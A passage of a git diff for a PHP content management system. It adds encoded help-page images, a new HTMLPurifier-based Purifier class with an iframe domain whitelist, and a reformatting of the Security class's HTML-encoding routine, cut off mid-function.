z2O%D-+*E8tQEVgym^)Tg3xt87_?Iihr0W`1FuJuzrRk49-Z^v9;XNc}V?#6$cswKs zO$1+7YT{9i9wm>K1T)!x_UwPyKRhxNZhOH&=p+c21roKn#e;*zR8|bNIettCUlxGZrXmFywja5r(&xXYreC%^~r! z78T$!fOp-*uQ^2u@w}A@uTf&MRp7R3yj}h;PjO*jqJ6?^RG4NUys%*jkB)*P+7t(YZ0G}`|6@LXkMk9Rhh)BfdMhOU zcrfaV^!HAf{_hw58RkeZkO2gqOw9OHq6-g*8>SGP+W(djmax4?@;KDJX|;j=uxM~m zl79E?{tErki%18CC_lcFb&+3%7lv=tevIz_pT!mbZ{v{v-=5b;F3in^16>o?+1a;c zW&Ho4FvQe6kK*FujJ`Me^Ej^>nOR#SA~_?0lkdOT;Ct1V?xd~#QmPNpzrsys&VL+x zq{QPU)ZRehlewfMe%JS7Z9i;}&e_P6=ML;9xw_0$XS-JSP>oOKV+Nl5SpD$;edixJ z(DTfSO32m;R&gY_1plxnS7h@`rnU$v#>@X1&;P9RmkHjws44{(sKw@}R&sePl00;Oe0oZ;lt!8)W;}N%sWwz2Vl>d z4y0T`5Xe6}l_8KK%({OF)bNYqG`KFgtIthqsDpK*Aen?hg_&+D z#;yfT_8Rv^2XwX6o<@Bcwcx55uvbQc`EIx3#*3<#yn*JFFCCtTcIf5Wy}ap2h&E`k z!@lyqUKBZ|MmW8T&#jOB^%)RCN@gw4Kn$4%qn3UGCBQigMcwm2{KXzBx)}rE@?3vU zuNiIzN%tt|XB6Z3>KDD{<~AX!*+cRs;N5|L7umyYj_K0L#yl4D%Q&Q>Kq&qN#?=OE68l zy|~M#swj$-Kx$RcLdsSBxEG10!w!t;cBjOZ2>^FBa>qf~2q|WK{B9mSE^*nbu02qhSX{-hgZAAuukW=nCJOOUB7?dgOygz) z8SuP~$R&X3J^wNNFK-M$n3Bykdq-QC@c?0|{1w?E521#dZF5|WayWn+1o$Yg5rl)1AXfpcFd zbeo(W@DY$2(aHjv+N8m*X8J{1r@mKv`hf${lc^vL&b3wOHaqog4UlnIVELIxiF<|; z`6NFnAbUGe0BV#h&E7Nm@>Xj|uk0M|Q$R`MHjwiL(kI7R6d;-Mj!JLN%Fy}WXu@^? z(3R;D56#!RLN7++a%!)@5$m6&pujBY*D+?hx(qJ_J0^!<4z5suxh`Q7*D{t? z=(wE+_CH=^lT2~Lkda?d*;0Df4z=MPWi+(_1&LQ0E`efNicN}!=U1%{V@fg!nq z$gSNY+iDOK;^u_C8fYx)GoS6zco7V(U@TswQYPd-D@3!b8IIkF4S)+WHuB(@tv55d zVyxS2s_!JwtKhwHWcvjUZ$z<8ku|Ok?9o8_cGMITIe1o`6*^p1!GTNXPvx1-gSvu*fPw_!q`!BjFv8t^%G9@7CWvS>^kMgcq58hJHO_YO9Vx*D)4t8 zAA!lsCT35K=iNy1Jm9#;6C5gAs!;JjY^8~`I{{IvjBpNtm!uZWv?oRY0dz|M1;=ERhTd_5Lu0}j z(XukDk=rhLJ2m$Sc4``y$5)M02Jglc)g9Ph_oU~ud_e>aY#qtQb*h=c+6^kl3*LhGO`fjoXSY4Ah2 z&03#f-dm_G@#do2&%M!bH{};mzM5S9aWMHV?CIuxeiwmr zesGF}jn3aGbGDmj8p)7p;W|vz5@1&i&|9HxCInnq!{FmD+X52gB$yjvMDpf>*^hxP zh`I~^{yt3eKi_we17D>R2aT5<%^Gx-ZFSztT@-vNF+NtO?-(nrS6gfnx^PE;b*Ofp z)_HBQ{B7!uuv_w=ju zE`J|!D$2Wzz}=F!9tFfTm)~-b4T1mzjnE-qhKfz{9j9BVb7^^A?X0UPU?AKz%mCMl z{P8*T0vTqec7ly#mhmgKJktFgNG(6@+?6)LEJzR7eGlGO z=RKG1H-)w{nM!RknJh^NzmP1-1fuR0$w~>~@jtf~Ln}Z6VN-NRt>7VB; zo$YJrUUxKawcQ=Jv)rSNZpT_k>b>opT#{}?S4&!t$G2)(CwBYG zjebnGnPuzLjhlnQL5WA$T>Vn90nc2h^_Q%!F~(SpeX~u4-oJ% zD__`8GR$sx){!V|()=!9s_t+#+IIJ+fuM7Tcnda+DL><=KOo&B!!}#34M47z%6#qB zz$v>4r(?e?op1ja1w@4+_8=?INqxeeHe?IjyuL5n6i&XZtRN3b9IMYYefd#?SM&;l~69Qv;6aYt_1;JxW1luuobDjh$C z90f-0W#Z4vP@Tw&bOLrcQQ&ubFB^39Xk6{ zVAlP-r7sb)Oq3rg#V%Hexoo}<6_UDq|8W;*aDm~SJ-DJv+)#lKh1G;-Bdn#F3dvkCd&-TFHqwy>@>g&1D*;)@j7vs=3C3^r(`>u_#Vu6tq| z41PYIhiOfAa-SM9p}ADr#1~>%MAUv^mhlfXlO3Z=&HVgLo4hjX*0thfQLt}FLgbM6 za8i`a!Pb(ybY4e>T)goZt$Hqkqd#xyF|t+QT3IGhz2e}oP`2zV<}B4uoCvL`-hgyH z?d$>NO;Z*h0GeT4x$A0kW{WW+s0nMT zt&}f7=DjMWtNfkbgfktlOJGt7*()6|JEphMUbri**`yq=2g#P3=mC(SK$#i}UK5kN z`vGVhHPM+?f2b3BbA|Y$Bp9gQv-XeAqrX?wVwQzW^2N-XR^9FLiw_cHOg6d;p3#X^ z=x;8$D~vnO1UUq!s|$s;E`b%AcvKB5jNOn$pJ zfa#IU@*zh{oeHaeIil|s?gPTB(<3&Ta>+{Bq2yh{bp_)^A1jqY^;FQX4N$JKS*aSw zD>bltA)1Io)ZlSsRsCjPL{~-Gh^wdu&43foxqU^&p=9LtnvF@%jOtvXesT+MO@?wj z&?%^H>bfRw&FnXemL@r0rz%x9czqO!9J^j;M9Er@>PLk>pv{3 zMJi>W5w*a2)!Am6bn`q361-RYeNt>DkZgHFN2zcbxVvGyq_M0U?hxbbQt^@mxlZ%G zz!3eR&6TEM$Q6{tk{2pMdGx*D>YaeS>);Xn7nFZ8vrh=Uhk;@t(#) z16X*0igqXSs%tRZp{Sz??yYwV08Sv}JdP9Qjror& z$UZ(kPZD$OOaCHA&Iytl>Ms^2DPi5@;mG8*ySWs|$=D*Ax~Rh%#f6x_A3`%vJRikU z|7K{vD2CXbwA^l1vpnvE>({E1a&-ovsO0)Z)|Y);g)%g+)t-wvsU?!)`0vuK}995(>Rz4+0z;uvqZ2X&H{%#eZio*P%$g(ka9w-yPnMx~CSD>?S zt}=(SS#mBjmF1UtmfHs7Fe2}74ZaXNyW*0vGOcK}92G{y#jIy9&T5UYrc4di`LV>Z zOBXW>`U|ADwo9b?E2DsyHf$0OR~hbfOK`vJzXXNe%^Ht1uRbCC?Y zTf(zINs7+b+@m6*C4?^tE;zXQTH_rA=i@&H)_*hk6RxU*aS)BAf zcfn|JxD;hO)skZlsvq_|-OBokMA7r*!qnI*b|{d=VUJv`OU!T=D5WliOo{5Nj_WrRyjNa7&a54^hHoH#Yv&D37?^WY$W$i zh~1(;EaYJ3JBrFNRo9nGet)eWCs=U_nJO}9kQu%RG6R_i5vvPp%E|5Jxer)JRJR*k5* zIILY{z1C2Z@|0y;93LW0O{I7b;EWSwC)e#IL2`EP%A81cAvJQ}l?l<;D|@_T5F^5- zdc`L}#2J+nw<$<8_)nQR9?!)c1U*b7#oQlWU~Nl;%dKf6Jopc4M>jQC@8)KMe|zbK-Ei+#8!Qp>Z`*uY|kuaem;ZXq%gc0&ZA&ECQ{&| zPhWJi`Z=@9^rzd`#Q8D(WAW)-Re9o`kCZ1y8MNJn`rYfo+6rT)-e}fg?XDeV`$20D zcju2Un1&DgH?5^}F(GykVM!TWnb}X~MC6gg!&evWt`$9a_4#CH0g0EyBFUG4spK2T zeG4W;>hKLLB9UiAxMPb4hIR3b7q15l2YWT0l2qn0~4 zh%{s=kwX;~tI&CD3o8qFz8K$8qfC^vQb=^st5w;e&27n^@9S6$fOmSBCcpQ}Pi%P2 ziQ8=T>Ue&QAn4rl-aCuj>Nk+1oW(V3`vXDH%5j0!3hlH#-;Da$;t+WFZa z-ot~t?jhgBfg~@V1tR;yr|k;T#ZiF6Oab@3Z;ePXMLBe%p9iYF7_BZ+nVWXl<7z-O z+4Cv;wga(3M{*>mQ0V(`L7SD85AK~}(r0cmzmz?Plcesw;++Q_2Rh-ngP}fVms*SZ z$41h+ggeB6#ld~*UB+$PrYp{vfD%+%i!?M`Tf^lw4~#2*3ubrMMF~xF&p3#ekFUAW zpPU6QUZ?EYDd0;?t=v6c_Aw`oR?wFDxp3vm11#^uLG<%tHLH@Qu5e7H^QvVMd}u8l z-mMcIOYM={*E-Y2hbV&*V1epDHCFI9}qG6@_z?NfN#k*s0*{ zr;AbytZ_u?cCknA2x9lvJ5wbe$G0S1iB%)* zJ(}-m-$_Uwsdt|3+$~X!GeB*+Z5C;3%Q_5OGv(PO%R$WF*8Wnp@docC+p4R>qnrsn@6Q&LMBQbGflhi-9yfnMKbVQ#qnQ?HGt_0ax(dX{F;VKr1Q+D`dJ5J z%qDnWIYXC@;;2{6JGK^spvE57ZpwxE#4B261*PEr3kRcr&_>^52R>Bi>G?6^T_$5z z-{YBJj}Y26>)9$-u3&1EZBXeV~;h<^O z89=)%@4^Hjh1%fmVNdqpBNwRAmb_U>W{qnm^{%;f%e`+vAU@IJm+qvQpJBUmkXYMW zcDQ=iPLf_F8(iiwGXp5xekKftwwVxP?^m5Ish_o!4iT{c!n>l+d$BTrdRoxmp-_l= z($VIAg*(pB$Sy==F}7CG6G$xGM-AbW3{~GssDtB!q3w5+p?L?U$=F1+b+>S0Z6PXq z`G|@Mu?*aRD=-6UPM$A1J;$l1m6)qqrMdB;b#{Q>`%__}^<18AE{$m`3qSvAW>=hq zMqH!R`c&&~G0A$*q(z}W)3HHkO5SX$dU-#))AVTC%*WK-CA-XJjsyS_~6&}87VMS`ff_&o<|4aaRE~a zvZcsQo|4@P`NA$<3QV6AEU|~K$meqg2janADxekoXV4j!aGezXvH4V!V$_)sFG}j# z{L)P{gX`KwKCi0Vy{6N+*MaOMMHR+ca5Usi{85BxZhbD-%?0-C#fhUx7KB2q0qPAR zwchk{y1SHb&D?uw8msAZsCL!6YGSW9CI2t`yw8MalLG%R^|UBJkDB>3?Q+h0&MOX& zYHS^G8I1kjAZ(}p689I^_T8=z-&I}ni5 zUmce)Fna;oAx(`;c=p@(|MG@hx|OPq%j3Fga>qM7Yb!^Edy+(Cz)3!5Li`AVs;k^P zb|-Ku48U*#WrhoMt8#K~At*%7YEqnBueq03K>DtNc?>B=>Nj5~U9P;GUJXzN7vH{P z!X>o%t2-|UGN(xtPuwmir{sQOY?HQQ3xl%GE4y3U;%q~Q# zflF168%V8Vdd9{$6~uOo`grr9QfIWg$DiTAzeI}pMS!?{>0Y$;7?2E)gVEtD<1e1= z88}*gvxul-0sbkol&917l93ZQ17PRz$~x>_C&9Xe~UvKSNkMVV8FZqsm70S3>WCpj`-cch5>3f#}`O{ z^}LvxX0_#;rHTT%|!cTJBU-qj(Vz z6boDNl~YUMlLgN0TOuaov|!Hzf+CC5yns7{_l?^?Q~b|%c+aWbtG)uRLtbpjJ5^+s zxD3?jEnd!`%uWdw^Z=OmJiPx@X)VR)B0#!y1VN_b8qDHIIRlJ?jB=>kPnJFNJI0?{7_nUti&a1ISVm<}m%;z?|N+{CtJmXaeK~6HSnW&KhtbPHdBcwC zdRm^!h&(Z_F%AW&RhPx*scemqFA?1I5v+Pb=A{#0ajww1=c*pabwA7T*y)tBsXCj> z6E+viJ=h`hBg6nESx>=6D_$Jm7RWKx+Se?%)>YFz%={ehkxD*AQ@Q}lX6*(&sQ%94 z1^t964u|x(XMV%G;8iHv&B$5TSbtz zUp9g7?DnW@S8fK0)a?d|tPQj8gi>8KX;MbdKIQUcwcw;pw+i(@ro>ik^lRt78?(i5 zzLWEf&H;kO9x-V_Y0g}zIXeXsyvP9Jr-Eq)DcXvcH}SM6zMizE75!x(-YMsa{HJoa z%AP1VWuZ&-^! zhZc|7rK!OAjxXJO8Pu`88Ol2gEhSKMJ{A4VQU?%uHABjIOW*=r{*6O%`&mT@xbJmN z_K-W*1`P!=uiKCk_=nb{G8n49T>F0J*h0QDD{3`$D}XO;w0OEieWu&74`hW=&*&Lz zDqS3e2^xJN$woM?wFzM2_$+d)ua|FXKE98HWg7tfHocM{r^E0@)I8~s0jIgINH@j4 zJZfdD)`nYYE0K;Wovy?^o=*F?lPAUTxML}Is}dBo)bc}jwE~TnvTj0=L}*NnSJ4UZ z$$f?le0$juF5A(Ot`6R)lyN0o$c=CJQ)gc+b89opeYmr3VWKO?f#|6IPDcc3LOI&f zIY2Cts+xhhW6u|(Cx>skA)FdYSJN$Qp6AU-p_k??rU-Pmf(M%W3OZJ|W-{Wf!v)4) zHdOjl#sTqpi=g=s2T!a8%y0GHYFHhR@P_AHUrE1zz%C{``qpyoAIl&@-ek}7)S)b?}* zwLHyLcvuB#yRdb?-_Cd6?K96#LBU=~GA0B*ak3K>TuL4CpZ_d_P7BlDx_{(6 zP#rik(7fMdfS~fwTD%9twr=-7ww-X_f)6te&23vA1$>@FQtUO*lUBAqu1w2E%_1qt z>@OM&P#Nzk!q6$w>^(R236S{vErO?DPH#i^txV;ra92}fM+q5WdfO&618XxcA=5W zjZ&y_`DA{yGKXELgJeV1=N+<2!^T^z-f$v77T&|6+}n;z`O-^Y+6xaW)~nE%szno< z=8)tqSq*(pUy;>*4TR(7mwruNqsq#4xPZ zg90xb-AH|KZm|1@im60mWRT3;onubXO8|7>p^q;K|L$7!slUPA#_h8Mbp8dTi>W{I z{ovyJaqc-ZN+#-Qm1tNPp3@DrPmpkFW|_vr&pTRTHh0zG}pI%ex2WwX)`<%M+t!l<(a4M>PoGz8VRB*7WHq1 z!a?C&%@|gM(1CkMPL}*kmMJC0<3#adtIDU3Go37*Is@S9;Aqabm6lVeRv7lHsT2Aw zRI7(Mv1SARp^Lt@;3XyW<|n}VN9mdRkI524^LZEPUzaA(-U^YaMS4gY&yiOPd}EmKo#HxgS*vhRPp2JE`vtfp;xWJE+BRU*PWIoQLv!N1$BH^75~zEvCSs4vT>KC z!LMm+WskX6O8>=3v1|Q%+axC%M%&q7JCm5t;4n9{15G98k`cRHg}^dT&&85?cWtg8 z?xRlz1K{vN$@~qS&o%C4(44$CRt_4M!#91~W<~9+()2X2Zf0o{HByOQ|6a;W3!=LguT8Ng*E+T7@&jTygA6(k!5vzWxW&uiqgt1 z!GHcMA@VsdxdyYypX|UjYT2AEuOUz_-04z-$$pAd{U)RFS2ydbBXEB}vA9n%>PAOr zzuTpju=sq@wOt)Uti~G^!4mlU6t-Q}4d9N5Lp#bPy|KHsjJ8`?1l_qvNdgc0d*z%Ni{|q}m+Bj8Jo-HK+G; z%!@Y-OrKBaw;9ZuugRSZICC!TAX5tDB*Lhhgr$lJm?EqCY1>D^^DM-fNmw^p1O|#0 zx2n@AsIFA;F!!nF>f90b1le%jWx@+AsFE*0Pv6i)!rst`x!r#*jQaLq>pAouvE%!& zC%QgFDJ?%nmr7KJF`~AUnz6ZLyPdZovQ`hq))h0cGdj-wcdd>SH5OU0Sjwl6*6Ie? zbJDy_@B4!dM+Y`2D9St4ibv-OUi+ul-Jx1ce*FNj4&Y`tr^XrW+FNOAjbb%7yY-=I zb&om^sQ0HI`N6-wj=lH`BY3^vQ9yt;F#;yb4X!w-*h;t3K$}a63^wxV-UKLWC}Tjk zmS*(@lbRc?x!E3axg8#u-lFw(bLzoCy62HIj4PTqss+Dx%`_hlsN`y1J%&f~t5&U; z+(+W%L_W+D@ij zRZ;I+MuZ;P{%Jaq@%Khl^+2k+`*V)!Gi6Xchdwp3H0Qc(cgcbVk&%`!2)6Pq=utpwB?ieV1g!H234h1a1-s=*sXLC>!SeFY_Y z_$|)`zk-0b3x=h$P0;=rv~>eBZe%mYa$iN$=}O?`T~|sZu}lE=R~*9c{R);%fqpn3 zM^Ip_UIyElpZaWsjk{M1c&w#|#m-QU!fItbAW`;%XD_hqoWg{z{maGHtUU2q@u zGl|L6Hd?zJy?`}TT9K=U5*RLu%IEsl7!nrWOTOjl%ZRw;eOC~Og1m3AC=T->ntha> zfRhF4sdJ&zk4e=tI9zGXQCrVeUH&ZF#=qtLk;vNm4UF?Qgwqu9T16Pk+S!e75dGb7 z7PGz0MUG+B|EIC*jB0A@wy5_if{N%xM3JU630;sHEQmrViu5XA=n_FXgrZle(g{Qe zReCc(1f;1DDN&*Xkd7$5Dufym-p*C;_h5W)jK^O_&OW=Wv)7tyuDKZIXPzIi8d|@T z=MJrw^o!^63w1Jqu$bshSDBRd|GIeRn0 zh5dLnW3ROjp3U$^vaBJ#yeW_iIoKLk1EzK@Bz%1E67u8)`xttSY`NFsaF*7eM6TRI zHnsX;x<1Vn`X(rg>>0kHx67dLo$PT2X2#rFf94_bI^M5=X=tVhf&9&x8UOuW{%`Bb=6~qhjj>N`wp*UWZdHw62OvVI$DFCvKSwFodgEgkvE5E3Wq>wXbsjZ} zx@hlf0(nFpjj-Ixs$2gWu|%URhB%)00%)f7#%mMUAM+df0vJG5h1IWi`ZRIXLrDRD zg)Jj7+MwX0&Y#)|J&WpN9Ps*kDD;e0HQmOPoT5b+T=F(B9>XpTBezuSE2$$j|B zbKIJ*BYj(Nl|a>^wH!_u8}b@CJmh@Py<_&TCS4SVJJS)j3#cK- z;JmI3)d^Zr;ujJ^z;vjTwIoM}&8_!2u%z~dq1vKChxF{!>?kf}lYUSP|F7&8Om~x; zdU>Ra#Uo4C!uM-221MH_D}fe203!9x#<-1NKKej&dEA&WUCJtWjMWI|n5cgyKj(Aq z8NsnI_<`{@c9yolWV_o6DGhmEfw+|67uV_XtS-H-5D`@ScrTVrtmC=!b4kSgN10JZ z3;nnv$Ns1@ip8~W1q|qLh@FRa%by~>(smv9-J4Y};oaUROOCq8n7#er_b%$p>D$r9 zkzCBaoKrtCwtK!k`YEbKHs6bAq`q|SuPm4tlWOPc4$pDxt9H!>X;G>6tmG;+VA&fr zM5H!!dxL0rjimTV%(z_Db79b!O)DZu;gIL@#E009TLcqq*KxZ#MwG}LdpG$XAssLQl9r-knOAEtqSLhFpFvQG?>zE%n&#|x zm3zK!T8}PUwg+L5rsoR`R?&@N&O*PDEmlTv^Q`_3?)U|$Yg#tS93pf56l3jl)sYJ) z$@oKZ(T^A#EzxZM0-j{yz22%mL%gLAy23-@=^D_}%;0!~+5TplXGDXOLFqkW_h1Kv z3WOH47_gBkLWEt=+{YGR8A#`likg2P@$+e40oL|TD`9*WG&f}fuuAC5rarSB!!qo3 z1z6iRf%c_c&>UG3K!4l=qt0T#XZ&-V;A())x*mu7>>76SB!K>+=kLqz7U&oR<5q{2 zEA1K<842_=T0G@acC7=C%idtT8$jg#FSX>OMv!l^Ca9hD9sdNxKm(3T+4uhxt2+w& z8!i4{6v$(xf{c!3+}QJV;Cw>~-@hv7KLtq{05zW#wo^`*u21^>5D)4PA>E*L&u~QE zPVG_#z?)`;HOK8#sRUxuM}_x=^6v@%i>CqebwGIcGmpXm?fTrV;e!sTwli3(2l4$G zipT?F?S3Zsi7Fsr@2*Gv&y<84F#rE40T4BsQ=YFMl<;PX z;08=^Ip7d&9pO?Ea{64F2)=iE`Xs2+2rHoh8T6ewj=D>OIovM8+S+H6>`;(v3%;O| zm(O#ZJNYJb=PQth4kegFSOBg%R6W^Ma9h8-lGyLnT)xP~xn+HK=?+z&D zEWdfWAl_L!sR0V3UVfNgXnQz99(v%H+r8nNJ0is5*^%f%wBdX;>Dm71G>n+E$~(~5 zaR8oev(Yec`-|kU%eiYV>G4|T7%z%@%8(M1PWr@`et{I~;KJ8Gqn@&8*G>>UO~I3o)qsf^Xn*)7|mzcH2rSlojHK*P{IRs_Rv}>5LSFC5=-Art(QPYxHcaL1VSvsi!5$z+}l$zc9 z^kA;Y+8P~V{zH?KjavSOwimyFpuirciaVvcrOz7@lbAO0*0!^<>^7x1ZTO+Y3O?%^ z-xWuB*RQHd_Xt;}=gfpmuZSUjY$>1{<-EBofd{e`I4EZoB>d~V2U~OmP2TPIJ658i zD3Y)mR!&WG@@>?Joc%*(A>Klz?LniVW2T&yC|Veg6*c9aOHw#6jNvp zzt79Af-mxgaUJ0~l;ld0C!5=8=X3ow{oM){%TU}6^BwE)jZ;42fEjKGA$?8!P@LEn zS;u}H7X77Qqi6!lud>GXf@OW!3oGVp`LKv%1+3*KUTezO%qW zF6dQ$l<4!%nz2ZuJRhj7`#x|yK*+f|v!Q3{Td9#FuJe#EHPf!Qi0ibE2&zX(O+Z;+ zdwZHXR(=8dp5sXhLZ~?1s4&0g?hx;{J&FT=F z5Q5#ukvz5nqf!%`25?YLpPLk2h}EG?W;BxNj_>pvrgrr79nD`d@fo@tt!5z;u`#-Z{H5_Oiyxt%i5;^| zdx!7m^oH`MJDp!1VdPIYT5UD&omV+^31W^uqKL%KuLY!?HK-}iqkeMY0Pp8=OOwUt z1IH<+!x$}s*{GA$a%+xqq-;mZ+E|g1uN0Sjw4A7Rcv|$z@O$Zt05A7b5B!1&y(*@~i~2CwaTo2yoq ze)BT&AU*WSR$01p&6Hu8S@>*R&$5#OcidsM6I7IscT?lt#meUdk^_0$pk}kLvUop0 zZ0P316B~HRdi`C*Jl_Canmf25ZqM3NN8eRHqPhzYmaJ4OzAl3f5Uh7iWt_BpGO}8I zJ~cCBuOc^m)QiMhCKrN%@kH;6Ha$a6@9SKObswg8y2PNa=A>dj!09>&XBYLiVkO z6$i+%!zfRbhMDee+F9Nro3Wtb(>|p+$g3HH@LvBbrHY^(!|Nh07l3N#COVb%8p1wFp+b1 zR{IA9k!lcX$m5pu%ft%h2vF96S6ixAb5Eoc%KeoP!rv=sHSN0R8PJ# zX^lLj27T)6(t7BDM?fwqp9g9aHh%fD|KrU^M*Fv}9nCc3k}cLGLV5pl<%g?4n)apk=YG17w#sdEjXhfm|lc0WkE3i(E_uu>c zm&=%6e@O4S^~To-@ph1k=dPwRrC4FogWZf)F(3<@&6GVt-mC$%-P|7?d0-u##J_JH zvq}G75|VU-S(m;Ez9GNBmHPu##Lyg{9$gym9_cY!_u>JIwD#vmlIkf1mH9tSE>h(_ zXR`$VPUjw%MAx5T7O&%3tY5SElFOHWajH|0@!+$(*^Yk$F?_XKCG_5pt zwl#4S+{eZWt8bbCEQPy()1?22F8U0#9-{<;%P_Ai#QTzVbpfCq0;DJXcJh8DI^Li} znX6bDi`Ov#p@CyMZV|X+ncprw`R$GU-n|mKPwpX9U_e_`shT# zOeOStry}{)b4#U@4b8XvX1XjhEBcsn}7Gy zaS3}&A>F)+|0ux2bgPCuQ&#p_tM@ty&p9*u{C3=bb?zE(3!-;aGN;!OxadRH=K8L7 z$5~bETtjf`LF1?P*T85H@}N_cIrcqh)M8vwd~v1e-8(fpy2p5Q&+br@{wu@%C^2(K z`D{_tOq~2bDz+S;UDhBtvVVj!{PqlZ{$m7UPN%C#Id%!50gZn=Y9?kTZYDvP8a<4^j`%|Q^obV~ zN>mi005+7AC}Mbw?~3Zqa||x@sc#%cz&+3}&@JSa=ssM1Jt6^R zH0;`PrU#Ge7=5v+1jASXQ6$uz89Z7+3H7rT!=-z7GcrdFI3(+Mht%v(yWl`IN2}1i zY&F|{A*WWt)Tf2qWfl&p=5Bftt_F};mT4v5wN>mtW~^_Q9y)VwGOr`)^3@@V!&JsH zzXy$n zsh%x$tNy79yTsx5k}ohMCedj19_Pj#jyCy`o9udm zsTUmL#zSYqJFH&NmmFoJ5Ypt>tt;5Y0a_iv0SOL>d^wx@71%g<1pjJMQK-1jrbSkR zR4qB(bD^iw)!?*BgSvoyiUgD-ki4xUVR=DYqLJeFtV6|Z?1o|O=#$gM;(W{SCdK-+ z)OTswDPoBMhEK`H3pZ*CEmdk9?*>tAQL(Sc0u_-dW1RtpZLJRj*W7D_)j5R8PD#UK z=9ae3dDhxN4&|=a|EfqW8SxM|pPZwzT<<>weH69|%?u|h8m0Gn^kG6(79Vjf4$kTk(hz^@v^_3*v%P1!;lF;Xqtn*%4*>(dS z@=)rLy1^L&Pvgb7dZPRDD@bI$ncqClfD}0E=eke@rZk!y;lbU4W=HAQjBw2OzSJz- zE?}OKNwg@aT-;v-8ooJ%R`q|a&ra4EloNHbFCGAhL zeU-xT#XW;c#<{XOl9uOYs^X^+Li0VHS%GGqT9bxh?k`gi4SlbEm^MJX^U8{fL`Wmi zrgwv?9(sSmNy$!)6q)Y7;rLoK7hx-ZZSu6pXN!bJYqW*7i>wRB7tADIji<8*Jk%zQ z$|kd~je6#7!_!v?bfbdw*re~vn}x^wquFl(g9IFmZsF~~9-$3;#u>OA1Nc+Frmb3f I<<7(Z0it-Ey8r+H literal 0 HcmV?d00001 diff --git a/admin/help/img/faq/user_defined_joinform.PNG b/admin/help/img/faq/user_defined_joinform.PNG new file mode 100644 index 0000000000000000000000000000000000000000..b670b91da681254d7214d0be2d57e1e1821e5c3b GIT binary patch literal 22918 zcmeHvXH=8R*KZ1j7K-8#LJcCtMhhUFfQm>FL_LBi1c87QDS~uJ009*N1(6Oa2q;ae z^k4&|cj+h~y-Kflf};5T&spofcinr}{ct~J<$30r*|TTQF2B8J?rNPoLr23(1A##3 z&Z?Z!hCtwO2n0Gng#b@HSKj%9ALuRZGfI&3I`&cUhr(1*LlFXb9YnisxCi`48>wh( zKp-xB5D38s0$Bx*2qO@PgD?a#hJ!$)!yyo6o9M#xvJi+a#o1Ge7oGGcV`xJUIk-

    )!is', $content, $m); + + $attributeList = array(); + if(is_array($m[2])) + { + foreach($m[2] AS $key => $value) + { + unset($script, $m2); + $script = " {$m[2][$key]} editor_component={$m[3][$key]}"; + + preg_match_all('/([a-z0-9_-]+)="([^"]+)"/is', $script, $m2); + if(is_array($m2[1])) + { + foreach($m2[1] AS $key2 => $value2) + { + array_push($attributeList, $value2); + } + } + } + } + return array_unique($attributeList); + } + + /** + * Search edit component tag + * @param string $content + * @return array + */ + private function _searchWidget(&$content) + { + preg_match_all('!<(?:(div)|img)([^>]*)class="zbxe_widget_output"([^>]*)>(?(1)(.*?)
    )!is', $content, $m); + + $attributeList = array(); + if(is_array($m[3])) + { + $content = str_replace(' $value) + { + preg_match_all('/([a-z0-9_-]+)="([^"]+)"/is', $m[3][$key], $m2); + if(is_array($m2[1])) + { + foreach($m2[1] AS $key2 => $value2) + { + array_push($attributeList, $value2); + } + } + } + } + return array_unique($attributeList); + } + + private function _getWhiteDomainRegx() + { + require_once(_XE_PATH_ . 'classes/security/EmbedFilter.class.php'); + $oEmbedFilter = EmbedFilter::getInstance(); + $whiteIframeUrlList = $oEmbedFilter->getWhiteIframeUrlList(); + + $whiteDomainRegex = '%^('; + $whiteDomainCount = count($whiteIframeUrlList); + + $i=1; + if(is_array($whiteIframeUrlList)) + { + foreach($whiteIframeUrlList AS $key => $value) + { + $whiteDomainRegex .= $value; + + if($i < $whiteDomainCount) + { + $whiteDomainRegex .= '|'; + } + $i++; + } + } + $whiteDomainRegex .= ')%'; + + return $whiteDomainRegex; + } + + private function _checkCacheDir() + { + // check htmlpurifier cache directory + $this->_cacheDir = _XE_PATH_ . 'files/cache/htmlpurifier'; + if(!file_exists($this->_cacheDir)) + { + FileHandler::makeDir($this->_cacheDir); + } + } + + public function purify(&$content) + { + $this->_setDefinition($content); + $this->_htmlPurifier = new HTMLPurifier($this->_config); + + $content = $this->_htmlPurifier->purify($content); + } + +} +/* End of file : Purifier.class.php */ +/* Location: ./classes/security/Purifier.class.php */ diff --git a/classes/security/Security.class.php b/classes/security/Security.class.php index 3be4b4ff2..47227523a 100644 --- a/classes/security/Security.class.php +++ b/classes/security/Security.class.php @@ -1,4 +1,5 @@ _targetVar = $var; } @@ -31,43 +33,73 @@ class Security * separate the owner(object or array) and the item(property or element) using a dot(.) * @return mixed */ - function encodeHTML(/*, $varName1, $varName2, ... */) + function encodeHTML(/* , $varName1, $varName2, ... */) { $varNames = func_get_args(); - if(count($varNames) < 0) return false; + if(count($varNames) < 0) + { + return FALSE; + } $use_context = is_null($this->_targetVar); - if(!$use_context) { - if(!count($varNames) || (!is_object($this->_targetVar) && !is_array($this->_targetVar)) ) return $this->_encodeHTML($this->_targetVar); + if(!$use_context) + { + if(!count($varNames) || (!is_object($this->_targetVar) && !is_array($this->_targetVar))) + { + return $this->_encodeHTML($this->_targetVar); + } $is_object = is_object($this->_targetVar); } - foreach($varNames as $varName) { - $varName = explode('.', $varName); + foreach($varNames as $varName) + { + $varName = explode('.', $varName); $varName0 = array_shift($varName); - if($use_context) { + if($use_context) + { $var = Context::get($varName0); - } elseif($varName0) { + } + elseif($varName0) + { $var = $is_object ? $this->_targetVar->{$varName0} : $this->_targetVar[$varName0]; - } else { + } + else + { $var = $this->_targetVar; } $var = $this->_encodeHTML($var, $varName); - if($var === false) continue; + if($var === FALSE) + { + continue; + } - if($use_context) { + if($use_context) + { Context::set($varName0, $var); - } elseif($varName0) { - if($is_object) $this->_targetVar->{$varName0} = $var; - else $this->_targetVar[$varName0] = $var; - } else { + } + elseif($varName0) + { + if($is_object) + { + $this->_targetVar->{$varName0} = $var; + } + else + { + $this->_targetVar[$varName0] = $var; + } + } + else + { $this->_targetVar = $var; } } - if (!$use_context) return $this->_targetVar; + if(!$use_context) + { + return $this->_targetVar; + } } /** @@ -76,43 +108,71 @@ class Security * @param array $name * @return mixed */ - function _encodeHTML($var, $name=array()) + function _encodeHTML($var, $name = array()) { - if(is_string($var)) { - if (!preg_match('/^\$user_lang->/', $var)) $var = htmlspecialchars($var); + if(is_string($var)) + { + if(!preg_match('/^\$user_lang->/', $var)) + { + $var = htmlspecialchars($var); + } return $var; } - if(!count($name) || (!is_array($var) && !is_object($var)) ) return false; + if(!count($name) || (!is_array($var) && !is_object($var))) + { + return false; + } $is_object = is_object($var); - $name0 = array_shift($name); + $name0 = array_shift($name); - if(strlen($name0)) { + if(strlen($name0)) 